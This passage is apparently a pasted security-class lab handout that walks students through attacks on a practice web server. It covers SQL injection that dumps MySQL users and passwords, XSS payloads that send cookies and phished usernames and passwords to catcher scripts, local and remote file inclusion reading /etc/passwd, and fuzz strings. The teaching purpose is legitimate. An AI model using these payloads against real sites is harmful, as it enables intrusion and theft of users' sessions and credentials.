  2824. http://45.63.104.73/acre2.php?lap=acer' order by 100-- +
  2825. -------------------------------------------------------------------------------------
  2826.  
  2827.  
  2828. Page returns the following error:
  2829. Unknown column '100' in 'order clause'
  2830.  
  2831.  
  2832. ---------------------------Paste this into Firefox-----------------------------------
  2833. http://45.63.104.73/acre2.php?lap=acer' order by 50-- +
  2834. -------------------------------------------------------------------------------------
  2835.  
  2836.  
  2837. Page returns the following error:
  2838. Unknown column '50' in 'order clause'
  2839.  
  2840.  
  2841. ---------------------------Paste this into Firefox-----------------------------------
  2842. http://45.63.104.73/acre2.php?lap=acer' order by 25-- +
  2843. -------------------------------------------------------------------------------------
  2844.  
  2845. Page returns the following error:
  2846. Unknown column '25' in 'order clause'
  2847.  
  2848.  
  2849. ---------------------------Paste this into Firefox-----------------------------------
  2850. http://45.63.104.73/acre2.php?lap=acer' order by 12-- +
  2851. -------------------------------------------------------------------------------------
  2852.  
  2853. Page returns the following error:
  2854. Unknown column '12' in 'order clause'
  2855.  
  2856.  
  2857. ---------------------------Paste this into Firefox-----------------------------------
  2858. http://45.63.104.73/acre2.php?lap=acer' order by 6-- +
  2859. -------------------------------------------------------------------------------------
  2860. ---Valid page returned for 5 and 6...error on 7 so we know there are 6 columns
  2861.  
  2862.  
  2863.  
  2864. Now we build out the union all select statement with the correct number of columns
  2865.  
  2866. Reference:
  2867. http://www.techonthenet.com/sql/union.php
  2868.  
  2869.  
  2870. ---------------------------Paste this into Firefox-----------------------------------
  2871. http://45.63.104.73/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- +
  2872. -------------------------------------------------------------------------------------
  2873.  
  2874.  
  2875.  
  2876. Now we negate the parameter value 'acer' by turning into the word 'null':
  2877.  
  2878. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j
  2879. -------------------------------------------------------------------------------------
  2880.  
  2881. We see that a 4 and a 5 are on the screen. These are the columns that will echo back data
  2882.  
  2883.  
  2884. Use a cheat sheet for syntax:
  2885. http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
  2886.  
  2887. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  2888. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j
  2889.  
  2890. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),version(),6-- j
  2891.  
  2892. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- +
  2893.  
  2894. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- +
  2895.  
  2896. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a
  2897. ------------------------------------------------------------------------------------- -------------------
  2898.  
  2899.  
  2900.  
  2901.  
  2902. Sometimes students ask about the "-- j" or "-- +" that I append to SQL injection attack string.
  2903.  
  2904. Here is a good reference for it:
  2905. https://www.symantec.com/connect/blogs/mysql-injection-comments-comments
  2906.  
  2907. Both attackers and penetration testers alike often forget that MySQL comments deviate from the standard ANSI SQL specification. The double-dash comment syntax was first supported in MySQL 3.23.3. However, in MySQL a double-dash comment "requires the second dash to be followed by at least one whitespace or control character (such as a space, tab, newline, and so on)." This double-dash comment syntax deviation is intended to prevent complications that might arise from the subtraction of negative numbers within SQL queries. Therefore, the classic SQL injection exploit string will not work against backend MySQL databases because the double-dash will be immediately followed by a terminating single quote appended by the web application. However, in most cases a trailing space needs to be appended to the classic SQL exploit string. For the sake of clarity we'll append a trailing space and either a "+" or a letter.
  2908.  
  2909.  
  2910. ###############################################################################
  2911. # What is XSS #
  2912. # https://s3.amazonaws.com/infosecaddictsfiles/2-Intro_To_XSS.pptx #
  2913. ###############################################################################
  2914.  
  2915. OK - what is Cross Site Scripting (XSS)
  2916.  
  2917. 1. Use Firefox to browse to the following location:
  2918. ---------------------------Paste this into Firefox-----------------------------------
  2919. http://45.63.104.73/xss_practice/
  2920. -------------------------------------------------------------------------------------
  2921.  
  2922. A really simple search page that is vulnerable should come up.
  2923.  
  2924.  
  2925.  
  2926.  
  2927. 2. In the search box type:
  2928. ---------------------------Paste this into Firefox-----------------------------------
  2929. <script>alert('So this is XSS')</script>
  2930. -------------------------------------------------------------------------------------
  2931.  
  2932.  
  2933. This should pop-up an alert window with your message in it proving XSS is in fact possible.
  2934. Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
  2935.  
  2936.  
  2937. 3. In the search box type:
  2938. ---------------------------Paste this into Firefox-----------------------------------
  2939. <script>alert(document.cookie)</script>
  2940. -------------------------------------------------------------------------------------
  2941.  
  2942.  
  2943. This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
  2944. Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
  2945.  
  2946. 4. Now replace that alert script with:
  2947. ---------------------------Paste this into Firefox-----------------------------------
  2948. <script>document.location="http://45.63.104.73/xss_practice/cookie_catcher.php?c="+document.cookie</script>
  2949. -------------------------------------------------------------------------------------
  2950.  
  2951. This will actually pass your cookie to the cookie catcher that we have sitting on the webserver.
  2952.  
  2953.  
  2954. 5. Now view the stolen cookie at:
  2955. ---------------------------Paste this into Firefox-----------------------------------
  2956. http://45.63.104.73/xss_practice/cookie_stealer_logs.html
  2957. -------------------------------------------------------------------------------------
  2958.  
  2959. The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to.
  2960.  
  2961.  
  2962.  
  2963.  
  2964.  
  2965.  
  2966. ############################
  2967. # A Better Way To Demo XSS #
  2968. ############################
  2969.  
  2970.  
  2971. Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box.
  2972.  
  2973.  
  2974. Use Firefox to browse to the following location:
  2975. ---------------------------Paste this into Firefox-----------------------------------
  2976. http://45.63.104.73/xss_practice/
  2977. -------------------------------------------------------------------------------------
  2978.  
  2979.  
  2980. Paste this in the search box
  2981. ----------------------------
  2982.  
  2983.  
  2984. Option 1
  2985. --------
  2986. ---------------------------Paste this into Firefox-----------------------------------
  2987. <script>
  2988. password=prompt('Your session is expired. Please enter your password to continue',' ');
  2989. document.write("<img src=\"http://45.63.104.73/xss_practice/passwordgrabber.php?password=" +password+"\">");
  2990. </script>
  2991. -------------------------------------------------------------------------------------
  2992.  
  2993. Now view the stolen cookie at:
  2994. ---------------------------Paste this into Firefox-----------------------------------
  2995. http://45.63.104.73/xss_practice/passwords.html
  2996. -------------------------------------------------------------------------------------
  2997.  
  2998.  
  2999. Option 2
  3000. --------
  3001. -------------------------Paste this into Firefox-----------------------------------
  3002. <script>
  3003. username=prompt('Please enter your username',' ');
  3004. password=prompt('Please enter your password',' ');
  3005. document.write("<img src=\"http://45.63.104.73/xss_practice/unpw_catcher.php?username="+username+"&password="+password+"\">");
  3006. </script>
  3007. -------------------------------------------------------------------------------------
  3008.  
  3009.  
  3010.  
  3011. Now view the stolen cookie at:
  3012. http://45.63.104.73/xss_practice/username_password_logs.html
  3013.  
  3014.  
  3015.  
  3016.  
  3017. #########################################
  3018. # Let's try a local file include (LFI) #
  3019. #########################################
  3020. - Here is an example of an LFI
  3021. - Open this page in Firefox:
  3022. -------------------------Paste this into Firefox-----------------------------------
  3023. http://45.63.104.73/showfile.php?filename=contactus.txt
  3024. -------------------------------------------------------------------------------------
  3025.  
  3026.  
  3027. - Notice the page name (showfile.php) and the parameter name (filename) and the filename (contactus.txt)
  3028. - Here you see a direct reference to a file on the local filesystem of the victim machine.
  3029. - You can attack this by doing the following:
  3030. -------------------------Paste this into Firefox-----------------------------------
  3031. http://45.63.104.73/showfile.php?filename=/etc/passwd
  3032. -------------------------------------------------------------------------------------
  3033.  
  3034.  
  3035. - This is an example of a Local File Include (LFI), to change this attack into a Remote File Include (RFI) you need some content from
  3036. - somewhere else on the Internet. Here is an example of a text file on the web:
  3037. -------------------------Paste this into Firefox-----------------------------------
  3038. http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt
  3039. -------------------------------------------------------------------------------------
  3040.  
  3041. - Now we can attack the target via RFI like this:
  3042. -------------------------Paste this into Firefox-----------------------------------
  3043. http://45.63.104.73/showfile.php?filename=http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt
  3044. -------------------------------------------------------------------------------------
  3045.  
  3046.  
  3047.  
  3048. ###############################
  3049. # How much fuzzing is enough? #
  3050. ###############################
  3051. There really is no exact science for determining the correct amount of fuzzing per parameter to do before moving on to something else.
  3052.  
  3053. Here are the steps that I follow when I'm testing (my mental decision tree) to figure out how much fuzzing to do.
  3054.  
  3055.  
  3056. Step 1: Ask yourself the 3 questions per page of the site.
  3057.  
  3058. Step 2: If the answer is yes, then go down that particular attack path with a few fuzz strings (I usually do 10-20 fuzz strings per parameter)
  3059.  
  3060. Step 3: When you load your fuzz strings - use the following decision tree
  3061.  
  3062. - Are the fuzz strings causing a default error message (example 404)?
  3063. - If this is the case then it is most likely NOT vulnerable
  3064.  
  3065. - Are the fuzz strings causing a WAF or LB custom error message?
  3066. - If this is the case then you need to find an encoding method to bypass
  3067.  
  3068.  
  3069. - Are the fuzz strings causing an error message that discloses the backend type?
  3070. - If yes, then identify DB type and find correct syntax to successfully exploit
  3071. - Some example strings that I use are:
  3072. '
  3073. "
  3074. () <----- Take the parameter value and put it in parenthesis
  3075. (5-1) <----- See if you can perform an arithmetic function
  3076.  
  3077.  
  3078. - Are the fuzz strings rendering executable code?
  3079. - If yes, then report XSS/CSRF/Response Splitting/Request Smuggling/etc
  3080. - Some example strings that I use are:
  3081. <b>hello</b>
  3082. <u>hello</u>
  3083. <script>alert(123);</script>
  3084. <script>alert(xss);</script>
  3085. <script>alert('xss');</script>
  3086. <script>alert("xss");</script>
Add Comment
Please, Sign In to add comment